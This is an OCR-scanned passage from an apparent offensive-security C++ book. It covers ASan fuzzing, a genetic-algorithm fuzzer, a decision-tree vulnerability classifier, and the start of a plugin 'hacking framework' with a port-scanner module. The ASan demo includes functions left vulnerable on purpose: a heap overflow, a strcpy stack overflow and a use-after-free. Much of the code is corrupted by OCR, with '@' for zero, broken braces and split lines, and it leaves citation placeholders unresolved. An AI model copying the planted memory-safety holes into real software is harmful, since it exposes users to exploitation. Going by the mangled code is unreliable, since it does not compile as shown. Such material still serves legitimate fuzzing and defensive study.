a more detailed explanation of ASan, refer to the official Microsoft documentation.
UndefinedBehaviorSanitizer (UBSan) catches undefined behaviors such as misaligned pointers,
null pointer dereferences, signed integer overflow, and strict aliasing
violations[reference:8][reference:9]. However, UBSan is not officially supported by
MSVC]Jreference:10][reference:11]. The Conan documentation notes that while GCC and Clang
support UBSan, MSVC does not[reference:12]. As an alternative, the ‘/guard:cf* flag enables
Control Flow Integrity (CFI) checks for indirect call targets, and the ‘/Qspectre® flag mitigates
speculative execution attacks. The Conan documentation also provides a detailed compiler
sanitizer support comparison.

The following example demonstrates enabling ASan in a Visual Studio 2026 project, then using it
to detect memory corruption vulnerabilities in a tool designed to fuzz network parsers. The code
includes deliberately vulnerable functions that ASan will catch, such as a heap buffer overflow
(writing beyond allocated memory), a stack buffer overflow (writing beyond a stack array), and a
use-after-free (accessing memory after it has been freed). The compilation step is shown first,
then the integrated fuzzing harness that uses the sanitizer to detect crashes and memory
corruption in real-time. The ‘setup_asan_environment* function configures environment
variables to control ASan’s behavior: enabling verbosity for detailed error reports, saving crash
dumps for post-mortem analysis, and disabling memory leak detection (or enabling it with
‘detect_leaks=1° for comprehensive checking). The ‘compile_with_asan‘ script demonstrates the

MSVC command line with all required flags for ASan instrumentation.

// sanitizer_integration.cpp - Using MSVC ASan in offensive tools
#include <iostream>

#include <vector>
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#include <string>
#include <cstring>
#include <memory>

#include <windows.h>

// Vulnerable function 1: heap buffer overflow
void heap_overflow_vulnerability(const uint8_tx input, size_t len) {
uint8_tx buffer = new uint8_t[16];
if (len > 16) {
// Deliberate overflow when len > 16
memcpy (buffer, input, len);
} else {
memcpy (buffer, input, len);

3
delete[] buffer;

// Vulnerable function 2: stack buffer overflow

void stack_overflow_vulnerability(const charx input) {
char buffer[32];
// Unsafe strcpy - potential overflow
strcpy(buffer, input);
std::cout << "Buffer: " << buffer << "\n";

// Vulnerable function 3: use-after-free

intx global_ptr = nullptr;

void use_after_free_vulnerability() {
if (!global_ptr) {
global_ptr = new int(42);
delete global_ptr;
}
// Use after free - accessing deleted memory
*global_ptr = 100;
std::cout << "Value: " << xglobal_ptr << "\n";

// Fuzzing harness that triggers vulnerabilities
void fuzz_harness(const std::vector<uint8_t>& fuzz_data) {

std::cout << "Fuzzing with " << fuzz_data.size() << " bytes\n";
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// Test heap overflow
if (fuzz_data.size() > 0) {

heap_overflow_vulnerability(fuzz_data.data(), fuzz_data.size());

// Test stack overflow
if (fuzz_data.size() > 0 && fuzz_data.size() < 256) {
std::string input_str(fuzz_data.begin(), fuzz_data.end());

stack_overflow_vulnerability(input_str.c_str());

// Test use-after-free (every 10th iteration)
static int counter = 0;
if (++counter % 10 == @) {

use_after_free_vulnerability();

// Setup ASan environment variables
void setup_asan_environment() {
// Enable ASan verbosity
SetEnvironmentVariableA("ASAN_OPTIONS", "verbosity=1:detect_leaks=1:halt_on_error=0");
// Enable crash dump generation
SetEnvironmentVariableA("ASAN_SAVE_DUMPS", "asan_crash.dmp"”);

std::cout << "ASan environment configured\n”;

int main(int argc, charx argv[]) {

setup_asan_environment();

std::cout << "=== MSVC AddressSanitizer Integration ===\n";
std::cout << "Compile with: cl /fsanitize=address /Zi /01 sanitizer_integration.cpp\n”;

std::cout << "ASan will detect and report memory errors at runtime\n\n";

// Generate fuzz data that triggers vulnerabilities

std: :vector<std::vector<uint8_t>> test_cases = {

{0x41, 0x42, 0x43, 0x44}, // Small - safe

std: :vector<uint8_t>(100, 0x41), // Heap overflow trigger
std::vector<uint8_t>(40, 0x42), // Stack overflow trigger
{0x01, 0x02, 0x03, 0x04} // Use-after-free will

— trigger later
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}

for (size_t i = 0; i < test_cases.size(); ++i) {
std::cout << "\n--- Test case " << i << " ---\n";

fuzz_harness(test_cases[i]);

// Run additional iterations to trigger use-after-free
for (int i = @; i < 15; ++i) {
fuzz_harness({0xAA, 0xBB});

return 0;

ASan compilation and execution:

# Install MSVC AddressSanitizer component via Visual Studio Installer
# Then compile with ASan flags

cl /fsanitize=address /Zi /01 sanitizer_integration.cpp /Fe:sanitizer_integration.exe

# Run the instrumented binary

sanitizer_integration.exe

For CMake-based projects, activate AddressSanitizer by adding /fsanitize=address to the
compiler flags [?]. When launching the instrumented binary outside Visual Studio, copy the
AddressSanitizer DLLs (clang_rt.asan*.dl1) from
%VSINSTALLDIR%\VC\Tools\MSVC\<version>\bin\Hostx64\x64 to the execution
directory [?]. For advanced memory debugging, combine ASan with Page Heap Verification
using gflags to catch additional heap corruption patterns. The Microsoft documentation

provides detailed guidance on Page Heap Verification.
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11.3 Applying Genetic Algorithms Using std::random and

std::variant to Discover Anomalies

Genetic algorithms (GAs) are nature-inspired optimization techniques that mimic natural
selection to solve complex search problems[reference:15]. In vulnerability research, GAs are at
the heart of modern fuzzing tools like AFL and AFL++, which intelligently generate test cases
that maximize code coverage and bug discovery[reference:16]. A genetic algorithm operates on a
population of candidate solutions (test inputs), each represented by a genome. The fitness
function evaluates how “interesting” a test case istypically measured by code coverage, execution
path uniqueness, or crash likelihood. The algorithm then applies selection (choosing the fittest
individuals), crossover (combining parts of two parents to create offspring), and mutation
(introducing random changes to maintain diversity) over multiple generations to evolve test cases
that increasingly stress the target program[reference:17].

The following C++26 implementation demonstrates a complete genetic algorithm fuzzer for a
binary file parser. The genome is represented as a std: : vector<uint8_t> (the raw bytes of the
test input). The fuzzer uses std: : random for all stochastic operations: std: :mt19937 as the
Mersenne Twister PRNG, std: :uniform_int_distribution for selecting crossover points and
mutation positions, and std: :bernoulli_distribution for probabilistic decisions.

The std: :variant type allows the fitness value to be either a numeric score (for typical
optimization) or a special marker (for crash conditions). The population is maintained as a vector
of Genome structures containing the raw bytes and a cached fitness value. The
evaluate_fitness function simulates a target function: it checks for specific magic bytes,
counts patterns, and detects anomalies.

The crossover function performs single-point crossover, randomly selecting a split point and
swapping genome segments between two parents. The mutate function randomly flips bits,
swaps bytes, inserts random bytes, or deletes bytes. The select_parent function uses
tournament selection: randomly choose k individuals from the population and return the one with
the highest fitness.

The genetic algorithm evolves the population for a specified number of generations. At each
generation, it creates a new child population by repeatedly selecting two parents, applying
crossover (with probability 0.7) and mutation (with per-byte probability 0.01). The fitness of the
offspring is evaluated, and they are added to the next generation. Elitism ensures that the best
solution from each generation is preserved unchanged. The algorithm terminates when a crash is

found (fitness reaching the maximum score) or after the specified number of generations. The
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best solution found (the test case that triggers the most anomalies) is displayed at the end.

// genetic_fuzzer.cpp - Genetic algorithm for vulnerability discovery

#include <iostream>

#include <vector>

#include <random>

#include <algorithm>

#include <functional>

#include <variant>

#include <chrono>

#include <iomanip>

using Fitness = std::variant<double, std::string>;

struct Genome {

3

std::vector<uint8_t> data;
double fitness;
bool crashed;

Genome() : fitness(0.0), crashed(false) {3}
explicit Genome(const std::vector<uint8_t>& d)

class GeneticFuzzer {

private:

std::mt19937 rng;

std: :vector<Genome> population;
size_t population_size;

double mutation_rate;

double crossover_rate;

size_t elite_count;

: data(d), fitness(0.0), crashed(false) {}

// Target function being fuzzed (simulates a file parser)

double evaluate_fitness(const std::vector<uint8_t>& data, bool& crashed) {

crashed = false;

double score = 0.0;

// Simulate parsing of binary format

if (data.size() < 4) return 0.0;

// Check for magic bytes (vulnerability trigger)
if (data.size() >= 4 && datal[@] == OxDE && data[1] == OxAD &&
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datal[2] == OxBE && data[3] == OxEF) {

score += 100.0;

// Check for long strings (potential overflow)
size_t consecutive_alpha = 0;
size_t max_consecutive = 0;
for (uint8_t byte : data) {
if ((byte >= 'A' && byte <= 'Z') || (byte >= 'a' && byte <= 'z")) {
consecutive_alphat+;
max_consecutive = std::max(max_consecutive, consecutive_alpha);
} else {

consecutive_alpha

0;

3
if (max_consecutive > 50) {

score += 50.0;

// Check for repetitive patterns (fuzzing signal)

size_t repeats = 0;

for (size_t i = @; i + 1 < data.size(); ++i) {
if (datali] == datali + 1]) repeats++;

}

if (repeats > data.size() / 2) {

score += 20.0;

// Simulate crash condition

if (data.size() > 1024) {
// Trigger crash for very large inputs
crashed = true;
score += 1000.0;

if (data.size() >= 8 && datal[4] == OxFF && datal[5] == OxFF &&
data[6] == OxFF && datal[7] == OxFF) {
// Trigger integer overflow vulnerability
crashed = true;
score += 2000.0;
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return score;

// Single-point crossover
Genome crossover(const Genome& parentl, const Genome& parent2) {
if (parentl.data.empty() || parent2.data.empty()) {

return parentl.data.size() > parent2.data.size() ? parentl : parent2;

std::uniform_int_distribution<size_t> point_dist(@, std::min(parentl.data.size(),
— parent2.data.size()));
size_t crossover_point = point_dist(rng);

Genome child;

child.data.reserve(std: :max(parentl.data.size(), parent2.data.size()));

// Take first part from parentl, second part from parent?2

child.data.insert(child.data.end(), parentl.data.begin(),
parentl.data.begin() + crossover_point);

child.data.insert(child.data.end(), parent2.data.begin() + crossover_point,

parent2.data.end());

return child;

// Mutation: flip bits, swap bytes, insert/delete
void mutate(Genome& genome) {
std: :uniform_real_distribution<double> prob(0.0, 1.0);

for (size_t i = @; i < genome.data.size(); ++i) {
if (prob(rng) < mutation_rate) {
// Flip a bit
std::uniform_int_distribution<int> bit_dist(0, 7);
int bit = bit_dist(rng);
genome.datal[i] *= (1 << bit);

// Random byte swap
if (genome.data.size() >= 2 && prob(rng) < mutation_rate) {
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std::uniform_int_distribution<size_t> pos_dist(@, genome.data.size() - 2);
size_t pos = pos_dist(rng);

std: :swap(genome.datal[pos], genome.datalpos + 11);

// Insert random byte

if (prob(rng) < mutation_rate) {
std::uniform_int_distribution<size_t> pos_dist(@, genome.data.size());
size_t pos = pos_dist(rng);
std::uniform_int_distribution<int> byte_dist(@, 255);
genome.data.insert(genome.data.begin() + pos,
— static_cast<uint8_t>(byte_dist(rng)));

// Delete random byte

if (genome.data.size() > 1 && prob(rng) < mutation_rate) {
std: :uniform_int_distribution<size_t> pos_dist(@, genome.data.size() - 1);
size_t pos = pos_dist(rng);

genome.data.erase(genome.data.begin() + pos);

// Tournament selection
const Genome& select_parent(int tournament_size = 3) {
std::uniform_int_distribution<size_t> index_dist(@, population.size() - 1);

size_t best_idx = index_dist(rng);

for (int i = 1; i < tournament_size; ++i) {
size_t candidate = index_dist(rng);
if (population[candidate].fitness > population[best_idx].fitness) {

best_idx = candidate;

b

return population[best_idx];

public:
GeneticFuzzer(size_t pop_size = 100, double mut_rate = 0.01, double cross_rate = 0.7,
— size_t elite = 2)
rng(std: :random_device{}()), population_size(pop_size),

mutation_rate(mut_rate), crossover_rate(cross_rate), elite_count(elite) {3}
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void initialize_population() {
population.clear();
std::uniform_int_distribution<int> size_dist(16, 256);
std::uniform_int_distribution<int> byte_dist(@, 255);

for (size_t i = @0; i < population_size; ++i) {
size_t size = static_cast<size_t>(size_dist(rng));
std: :vector<uint8_t> data(size);
for (size_t j = @; j < size; ++j) {
datal[j] = static_cast<uint8_t>(byte_dist(rng));

3
population.emplace_back(data);

evaluate_population();

void evaluate_population() {
for (auto& genome : population) {
bool crashed = false;

genome. fitness = evaluate_fitness(genome.data, crashed);

genome.crashed = crashed;

// Sort by fitness descending
std: :sort(population.begin(), population.end(),
[I(const Genome& a, const Genome& b) {

return a.fitness > b.fitness;

s

void evolve(int generations) {
std::cout << "Starting genetic fuzzing for " << generations << " generations\n";

for (int gen = 0; gen < generations; ++gen) {

std: :vector<Genome> new_population;

// Elitism: keep the best individuals
for (size_t i = 0; i < elite_count & & i < population.size(); ++i) {

new_population.push_back(population[i]);
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if (population[i].crashed) {
std::cout << "[GENERATION " << gen << "] CRASH FOUND! Fitness: "
<< population[i].fitness << "\n";

display_genome(population[il]);

// Create offspring until population is full
while (new_population.size() < population_size) {
const Genome& parentl = select_parent();

const Genome& parent2 = select_parent();

Genome child;
std: :uniform_real_distribution<double> prob(0.0, 1.0);
if (prob(rng) < crossover_rate) {
child = crossover(parentl, parent2);
} else {

child = parentl.data.size() > parent2.data.size() ? parentl : parent2;

mutate(child);

bool crashed = false;
child.fitness = evaluate_fitness(child.data, crashed);
child.crashed = crashed;

new_population.push_back(child);

population = std::move(new_population);

evaluate_population();

// Log progress

if (gen % 10 == @ || gen == generations - 1) {
double avg_fitness = 0.0;
for (const auto& genome : population) {

avg_fitness += genome.fitness;

b

avg_fitness /= population.size();

n

std::cout << "Gen " << gen << ": Best fitness = " << population[@].fitness

n

<< ", Avg fitness = " << avg_fitness

<< ", Crashes = " << count_crashes() << "\n";
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size_t count_crashes() const {
size_t count = 0;
for (const auto& genome : population) {
if (genome.crashed) count++;

3

return count;

void display_genome(const Genome& genome) {

n

std::cout << "Genome (size " << genome.data.size() << "): ";
for (size_t i = @; i < std::min<size_t>(32, genome.data.size()); ++i) {
std::cout << std::hex << std::setw(2) << std::setfill('0')
<< static_cast<int>(genome.datal[i]) << " ";
}

if (genome.data.size() > 32) std::cout << "...";
std::cout << std::dec << "\n";

void report_best() {
std::cout << "\n=== Best Test Case ===\n";
if (!population.empty()) {
display_genome(population[@]);
std::cout << "Fitness: " << population[@].fitness << "\n";
if (population[@].crashed) {
std: :cout << "sx% CRASH TRIGGERED x*x\n";

e

int main() {
GeneticFuzzer fuzzer(50, 0.02, 0.7, 2);
fuzzer.initialize_population();
fuzzer.evolve(100);
fuzzer.report_best();

return 0;
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Compilation:

cl /std:c++latest /02 genetic_fuzzer.cpp /Fe:genetic_fuzzer.exe

genetic_fuzzer.exe
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11.4 Creating a Vulnerability Classifier Using Hand-Crafted

Decision Trees in C++

Decision trees are interpretable machine learning models that classify data by recursively
partitioning the feature space based on simple threshold rules. In vulnerability research, decision
trees can predict whether a code unit (function, file, or binary) contains a security vulnerability
based on software metrics such as cyclomatic complexity, lines of code, number of function
parameters, number of branches, memory allocation patterns, and presence of dangerous
functions. Decision trees have several advantages in security contexts: they are transparent (the
classification rules are human-readable), they can handle mixed data types, they are robust to
outliers, and they require minimal feature preprocessing. A 2019 study on buffer overflow
vulnerability prediction demonstrated that a decision tree model achieved 82.53% and 87.51%
accuracy on two different datasets, outperforming SVM, Bayes, adaboost, and random forest
algorithms in terms of computational time[reference:18].

The following C++26 implementation builds a hand-crafted decision tree classifier for predicting
buffer overflow vulnerabilities in C/C++ functions. The feature set includes: lines of code (LOC),
cyclomatic complexity (number of linearly independent paths), number of function parameters,
number of branches (if/else/switch statements), presence of dangerous functions (‘strcpy°,
‘sprintf*, ‘gets‘, etc.), memory allocation size (small/medium/large), nested loop depth, recursion
flag, number of pointer dereferences, and number of array indexing operations. The decision tree
is built manually based on domain knowledge rather than automatically learned from data (hence
“hand-crafted”). Each internal node represents a test on a feature, and each leaf node represents a
prediction (VULNERABLE or SAFE). The tree’s structure mirrors common vulnerability
patterns: functions that use dangerous string functions without length checks, functions with high
cyclomatic complexity and many pointers, and functions that allocate large buffers on the stack.
The ‘DecisionTreeNode* class is defined as a recursive variant: each node is either a ‘LeafNode*
(containing a classification result) or an ‘InternalNode‘ (containing a feature index, a threshold,
and pointers to true and false child nodes). The ‘DecisionTree* class stores the root node and
provides a ‘classify‘ method that traverses the tree based on the feature vector of a function. The
‘ExtractFeatures‘ function processes source code to compute software metrics for classification.
In a real deployment, the decision tree would be trained offline on a labeled dataset of vulnerable
and safe functions, and then integrated into a static analysis tool that scans codebases for
potential vulnerabilities. The hand-crafted approach is particularly useful when labeled training

data is scarce or when the classification rules need to be transparent for security audits.
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// decision_tree_classifier.cpp - Vulnerability classification with decision trees
#include <iostream>

#include <vector>

#include <string>

#include <cmath>

#include <fstream>

#include <sstream>

#include <regex>

#include <map>

struct FunctionMetrics {
std::string name;
int lines_of_code;
int cyclomatic_complexity;
int num_parameters;
int num_branches;
bool uses_dangerous_func;
int memory_allocation_size; // 0=none, 1=small, 2=medium, 3=large
int nested_loop_depth;
bool has_recursion;
int num_pointer_derefs;

int num_array_indexing;

std: :vector<double> to_feature_vector() const {
return {

static_cast<double>(lines_of_code),
static_cast<double>(cyclomatic_complexity),
static_cast<double>(num_parameters),
static_cast<double>(num_branches),
uses_dangerous_func ? 1.0 : 0.0,
static_cast<double>(memory_allocation_size),
static_cast<double>(nested_loop_depth),
has_recursion ? 1.0 : 0.0,
static_cast<double>(num_pointer_derefs),
static_cast<double>(num_array_indexing)

3

3

// Decision tree node types

struct LeafNode {
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std::string prediction; // "VULNERABLE" or "SAFE"
double confidence;

3

struct InternalNode {

int feature_index; // Which feature to test

double threshold; // Threshold for comparison

void* left_child; // True branch (feature <= threshold)
void* right_child; // False branch (feature > threshold)

bool is_left_leaf;

bool is_right_leaf;

LeafNode left_leaf;

LeafNode right_leaf;
}s

class DecisionTree {
private:
void* root;
bool root_is_leaf;
LeafNode root_leaf;

InternalNode root_internal;

// Hand-crafted decision tree based on vulnerability research
void build_tree() {
// Level 1: Check for dangerous functions (most critical)
InternalNode levell;
levell.feature_index = 4; // uses_dangerous_func
levell.threshold = 0.5;

// Left branch: uses dangerous functions

InternalNode level2_left;

level2_left.feature_index = 1; // cyclomatic_complexity
level2_left.threshold = 5.0;

// Left-left: high complexity + dangerous function = VULNERABLE
LeafNode leaf_vuln_high;

leaf_vuln_high.prediction = "VULNERABLE";
leaf_vuln_high.confidence = 0.85;

// Left-right: low complexity + dangerous function = check further
InternalNode level3_left;
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level3_left.feature_index = @; // lines_of_code
level3_left.threshold = 50.0;

LeafNode leaf_vuln_med;
leaf_vuln_med.prediction = "VULNERABLE";

leaf_vuln_med.confidence = 0.65;

LeafNode leaf_safe_low;
leaf_safe_low.prediction = "SAFE";

leaf_safe_low.confidence = 0.70;

level3_left.left_child = &leaf_vuln_med;
level3_left.right_child = &leaf_safe_low;
level3_left.is_left_leaf = true;
level3_left.is_right_leaf = true;
level3_left.left_leaf = leaf_vuln_med;
level3_left.right_leaf = leaf_safe_low;

level2_left.left_child = &leaf_vuln_high;
level2_left.right_child = &level3_left;
level2_left.is_left_leaf = true;
level2_left.is_right_leaf = false;
level2_left.left_leaf = leaf_vuln_high;

// Right branch: no dangerous functions

InternalNode level2_right;

level2_right.feature_index
level2_right.threshold = 3.0;

2; // num_parameters

InternalNode level3_right;
level3_right.feature_index = 1; // cyclomatic_complexity
level3_right.threshold = 10.0;

LeafNode leaf_vuln_complex;
leaf_vuln_complex.prediction = "VULNERABLE";

leaf_vuln_complex.confidence = 0.60;

LeafNode leaf_safe;
leaf_safe.prediction = "SAFE";

leaf_safe.confidence = 0.80;
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std:

level3_right.
level3_right.
level3_right.
level3_right.
level3_right.
level3_right.

left_child = &leaf_vuln_complex;
right_child = &leaf_safe;
is_left_leaf = true;
is_right_leaf = true;

left_leaf = leaf_vuln_complex;

right_leaf = leaf_safe;

LeafNode leaf_safe_params;

leaf_safe_params.prediction = "SAFE";

leaf_safe_params.confidence = 0.75;

level2_right.
level2_right.
level2_right.
level2_right.
level2_right.

left_child = &level3_right;
right_child = &leaf_safe_params;
is_left_leaf = false;
is_right_leaf = true;

right_leaf = leaf_safe_params;

levell.left_child = &level2_left;

levell.right_

child = &level2_right;

levell.is_left_leaf = false;

levell.is_right_leaf = false;

root = &levell;

root_is_leaf

= false;

root_internal = levell;

:string classify_node(void* node, bool is_leaf, const LeafNode& leaf,

if (is_leaf)

const InternalNode& internal, const std::vector<double>&

— features) {

{

return leaf.prediction;

if (features[internal.feature_index] <= internal.threshold) {

if (internal.is_left_leaf) {

return internal.left_leaf.prediction;

} else {

InternalNode* child = static_cast<InternalNode*>(internal.left_child);

return classify_node(child, false, LeafNode(), *child, features);
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} else {
if (internal.is_right_leaf) {
return internal.right_leaf.prediction;
} else {
InternalNode*x child = static_cast<InternalNode*>(internal.right_child);

return classify_node(child, false, LeafNode(), *child, features);

public:
DecisionTree() {
build_tree();

std::string classify(const FunctionMetrics& metrics) {
std: :vector<double> features = metrics.to_feature_vector();

return classify_node(root, root_is_leaf, root_leaf, root_internal, features);

void print_tree() {
std::cout << "Decision Tree Structure:\n";

std::cout << "Root: uses_dangerous_func?\n";

std::cout << "  Yes: cyclomatic_complexity > 5?\n";
std::cout << " Yes: VULNERABLE (confidence @.85)\n";
std::cout << " No: lines_of_code > 50?\n";

std::cout << " Yes: VULNERABLE (confidence 0.65)\n";
std::cout << " No: SAFE (confidence 0.70)\n";
std::cout << "  No: num_parameters > 3?\n";

std::cout << " Yes: cyclomatic_complexity > 10?\n";
std::cout << " Yes: VULNERABLE (confidence 0.60)\n";
std::cout << " No: SAFE (confidence 0.80)\n";
std::cout << " No: SAFE (confidence 0.75)\n";

3

// Feature extraction from source code (simplified)
FunctionMetrics extract_features(const std::string& function_code, const std::string&
— func_name) {

FunctionMetrics metrics;

metrics.name = func_name;
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metrics.lines_of_code = 0;
metrics.cyclomatic_complexity = 1; // Base complexity
metrics.num_parameters = 0;

metrics.num_branches = 0;

metrics.uses_dangerous_func = false;
metrics.memory_allocation_size = 0;
metrics.nested_loop_depth = 0;

metrics.has_recursion = false;
metrics.num_pointer_derefs = 0;

metrics.num_array_indexing = 0;

std::istringstream stream(function_code);

std::string line;

int current_loop_depth = 0;

std: :regex dangerous_funcs("(strcpy|sprintf|gets|strcat|scanf|memcpy|strncpy)”);
std::regex pointer_deref("\\*x[a-zA-Z_]1");

std: :regex array_index("\\[[a-zA-Z0-9_1+\\1");

while (std::getline(stream, line)) {

metrics.lines_of_code++;

// Count branches

if (line.find("if") != std::string::npos) metrics.cyclomatic_complexity++;

if (line.find("else”) != std::string::npos) metrics.num_branches++;

if (line.find("switch"”) != std::string::npos) metrics.cyclomatic_complexity++;
if (line.find("case") != std::string::npos) metrics.cyclomatic_complexity++;

// Check loops

if (line.find("for") != std::string::npos || line.find("while") != std::string::npos) {
current_loop_depth++;
metrics.nested_loop_depth = std::max(metrics.nested_loop_depth,
— current_loop_depth);
metrics.cyclomatic_complexity++;

}

if (line.find("3}") != std::string::npos & (line.find("for") != std::string::npos ||
line.find("while") != std::string::npos)) {

current_loop_depth--;

// Check dangerous functions

if (std::regex_search(line, dangerous_funcs)) {
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metrics.uses_dangerous_func = true;

// Count pointer dereferences

std: :smatch matches;

std::string line_copy = line;

while (std::regex_search(line_copy, matches, pointer_deref)) {
metrics.num_pointer_derefs++;

line_copy = matches.suffix();

// Count array indexing

line_copy = line;

while (std::regex_search(line_copy, matches, array_index)) {
metrics.num_array_indexing++;

line_copy = matches.suffix();

// Detect recursion (simplified)
if (line.find(func_name + " (") != std::string::npos) {

metrics.has_recursion = true;

// Memory allocation size
if (line.find("malloc”) != std::string::npos || line.find("new") != std::string::npos)
- {
if (line.find("1024") != std::string::npos || line.find("4096") !=
— std::string::npos) {
metrics.memory_allocation_size = 3; // large
} else if (line.find("”256") != std::string::npos || line.find("512") !=
— std::string::npos) {
metrics.memory_allocation_size = 2; // medium
} else {

metrics.memory_allocation_size = 1; // small

// Count parameters (simplified)
std::regex param_regex("\\(([*)I\\)");

std: :smatch param_match;
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int

if (std::regex_search(function_code, param_match, param_regex)) {

std::string params = param_match[1];

metrics.num_parameters = std::count(params.begin(), params.end(), ',') + 1;

if (params.empty() || params.find("”void”) != std::string::npos) {

metrics.num_parameters = 0;

return metrics;

main() {

DecisionTree tree;

tree.print_tree();

// Example: Analyze a vulnerable function

std::string vulnerable_function = R"(

D

void process_input(char* user_input) {
char buffer[256];

// Dangerous: strcpy without bounds checking

strcpy(buffer, user_input);
if (strlen(user_input) > @) {

Ji

printf("Processing: %s\n", buffer);

for (int i = @; i < strlen(user_input); i++) {

buffer[i] = toupper (buffer[il);

FunctionMetrics metrics = extract_features(vulnerable_function, "process_input”);

std::string result = tree.classify(metrics);

std:
std:
std:
std:
std:
std:

—

std

:cout
:cout
:cout
:cout
:cout

:cout

<<

<<

<<

<<

<<

<<

<< n\nn;

::cout

<<

"\n=== Vulnerability Analysis ===\n";

n

"Function: << metrics.name << "\n";

"Lines of code: << metrics.lines_of_code << "\n";

n

"Cyclomatic complexity: " << metrics.cyclomatic_complexity << "\n";

"Parameters: " << metrics.num_parameters << "\n";

n

"Uses dangerous functions:

"Nested loop depth: " << metrics.nested_loop_depth << "\n";

<< (metrics.uses_dangerous_func ? "Yes" :

"NO")
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std::cout << "Has recursion: " << (metrics.has_recursion ? "Yes" : "No") << "\n";

n

std::cout << "Pointer dereferences: << metrics.num_pointer_derefs << "\n";

n

std::cout << "Array indexing: << metrics.num_array_indexing << "\n";

std::cout << "\nClassification: " << result << "\n";

// Example: Analyze a safe function
std::string safe_function = R"(
int calculate_sum(int a, int b) {

return a + b;

)"

metrics = extract_features(safe_function, "calculate_sum");

result = tree.classify(metrics);

std::cout << "\n=== Vulnerability Analysis ===\n";

n

std::cout << "Function: << metrics.name << "\n";

std::cout << "Lines of code: " << metrics.lines_of_code << "\n";

n

std::cout << "Cyclomatic complexity: << metrics.cyclomatic_complexity << "\n";

std::cout << "Classification: " << result << "\n";
return 0;

}

Compilation:

cl /std:c++latest /02 decision_tree_classifier.cpp /Fe:decision_tree_classifier.exe

decision_tree_classifier.exe
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11.5 Summary

This chapter covered four advanced zero-day vulnerability automation techniques implemented in
C++26 on Windows:

* Building a grammar-based fuzzer for proprietary protocols using BNF-style grammars,

post-processing callbacks, and targeted mutation strategies.

* Integrating Windows sanitizers (AddressSanitizer with MSVC) into offensive tools to

detect memory corruption and undefined behavior during fuzzing campaigns.

* Applying genetic algorithms using ‘std::random‘ and ‘std::variant* to evolve test cases that

maximize code coverage and trigger vulnerabilities.

* Creating a vulnerability classifier using hand-crafted decision trees based on software

metrics and code patterns.

Proceed to Chapter 12 to explore the final capstone project: building a professional hacking

framework.



Final Capstone Project: A Professional

Hacking Framework

12.1 Designing an Extensible Module for All Previous Attacks

A professional framework must support the dynamic loading and execution of independent
modules, each implementing a specific attack technique. In this section, we design a plugin
architecture using C++ abstract base classes and dynamic linking (DLLs). The core framework
loads modules from a designated directory, discovers available attacks, and executes them with
common configuration and reporting interfaces.

The base class ‘AttackModule* defines the interface every module must implement: ‘get_name()‘,
‘get_description()‘, ‘get_author()‘, ‘get_version()‘, ‘initialize()‘, ‘execute()‘, and ‘cleanup()‘.
Modules are compiled as DLLs exporting a factory function ‘create_module()‘ and a destruction
function ‘destroy_module()‘. The framework uses ‘LoadLibrary‘ and ‘GetProcAddress‘ on
Windows to dynamically load modules at runtime.

The following example demonstrates the framework core and a sample module (port scanner)
that integrates with the reporting system. All previous attacks from Chapters 2 to 11 can be

refactored into this module system.

// framework_core.h - Base module interface and framework core
#pragma once

#include <string>

#include <vector>

#include <memory>

#include <functional>

#include <map>

#include <any>

struct AttackResult {

std: :string module_name;

270



271

bool success;

std::string output

’

std::map<std::string, std::string> data;

std: :chrono::system_clock::time_point timestamp;

e

class AttackModule {
public:

virtual ~AttackModule() = default;

virtual std::string get_name() const = 0;

virtual std::string get_description() const = 0;

virtual std::string get_author() const = 0;

virtual std::string get_version() const = 0;

virtual bool initialize(const std::map<std::string, std::string>& config) = 0;

virtual AttackResu

1t execute(const std::map<std::string, std::string>& params)

virtual void cleanup() = 0;

e

// Function pointers for DLL exports

using CreateModuleFn =

using DestroyModuleFn

class Framework {
private:
std: :vector<std::u

std: :map<std::stri

public:

AttackModulex(*) ();

= void(x*) (AttackModulex);

nique_ptr<AttackModule>> modules;

ng, std::map<std::string, std::string>> module_configs;

void load_module(const std::string& dll_path) {

HMODULE handle
if ('handle) {

throw std:
}

auto create =

= LoadLibraryA(dll_path.c_str());

:runtime_error("Failed to load module: " + dll_path);

reinterpret_cast<CreateModuleFn>(GetProcAddress(handle,

— "create_module”));

auto destroy =

reinterpret_cast<DestroyModuleFn>(GetProcAddress(handle,

— "destroy_module”));

if (!create ||

ldestroy) {

FreeLibrary(handle);

throw std:

:runtime_error("Invalid module: missing factory functions”);
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AttackModule* mod = create();
modules.emplace_back(mod, [destroy](AttackModule* m) { destroy(m); 1});
// Store handle to prevent unloading (simplified)

void run_module(const std::string& name, const std::map<std::string, std::string>&
— params) {
for (auto& mod : modules) {
if (mod->get_name() == name) {
auto config = module_configs[name];
mod->initialize(config);
AttackResult res = mod->execute(params);
// Report result (see next section)
mod->cleanup();

return;

3

throw std::runtime_error(”"Module not found:

n

+ name);

3

Example Module: Port Scanner

// portscanner_module.cpp - Compile as DLL
#include "framework_core.h”

#include <winsock2.h>

#include <ws2tcpip.h>

#include <vector>

#include <thread>

#include <future>

#include <chrono>

class PortScannerModule : public AttackModule {
private:

std::string target;

int start_port, end_port;

int timeout_ms;

public:

std::string get_name() const override { return "PortScanner”; }
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std::string get_description() const override { return
— "TCP port scanner using async connect”; }
std::string get_author() const override { return "Framework Author”; }

std::string get_version() const override { return "1.0"; }

bool initialize(const std::map<std::string, std::string>& config) override {
target = config.at("target”);
start_port = std::stoi(config.at("start_port”));
end_port = std::stoi(config.at("end_port"));
timeout_ms = std::stoi(config.at("timeout_ms"));

return true;

AttackResult execute(const std::map<std::string, std::string>& params) override {
AttackResult res;
res.module_name = get_name();
res.timestamp = std::chrono::system_clock: :now();

res.success = true;

std: :vector<int> open_ports;

std: :mutex mtx;

std: :vector<std: :future<void>> futures;
for (int port = start_port; port <= end_port; ++port) {
futures.push_back(std: :async(std::launch::async, [&, port]l() {
WSADATA wsa;
WSAStartup (MAKEWORD(2,2), &wsa);
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == INVALID_SOCKET) return;

u_long mode = 1;

ioctlsocket(sock, FIONBIO, &mode);

sockaddr_in addr;

addr.sin_family = AF_INET;

addr.sin_port = htons(port);

inet_pton(AF_INET, target.c_str(), &addr.sin_addr);
connect(sock, (sockaddr*)&addr, sizeof(addr));

fd_set fdset;
FD_ZERO(&fdset);
FD_SET(sock, &fdset);
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timeval tv{ timeout_ms/1000, (timeout_ms%1000)*1000 };

if (select(@, nullptr, &fdset, nullptr, &tv) == 1) {
std: :lock_guard<std::mutex> lock(mtx);
open_ports.push_back(port);

}

closesocket(sock);

WSACleanup();

D)

}
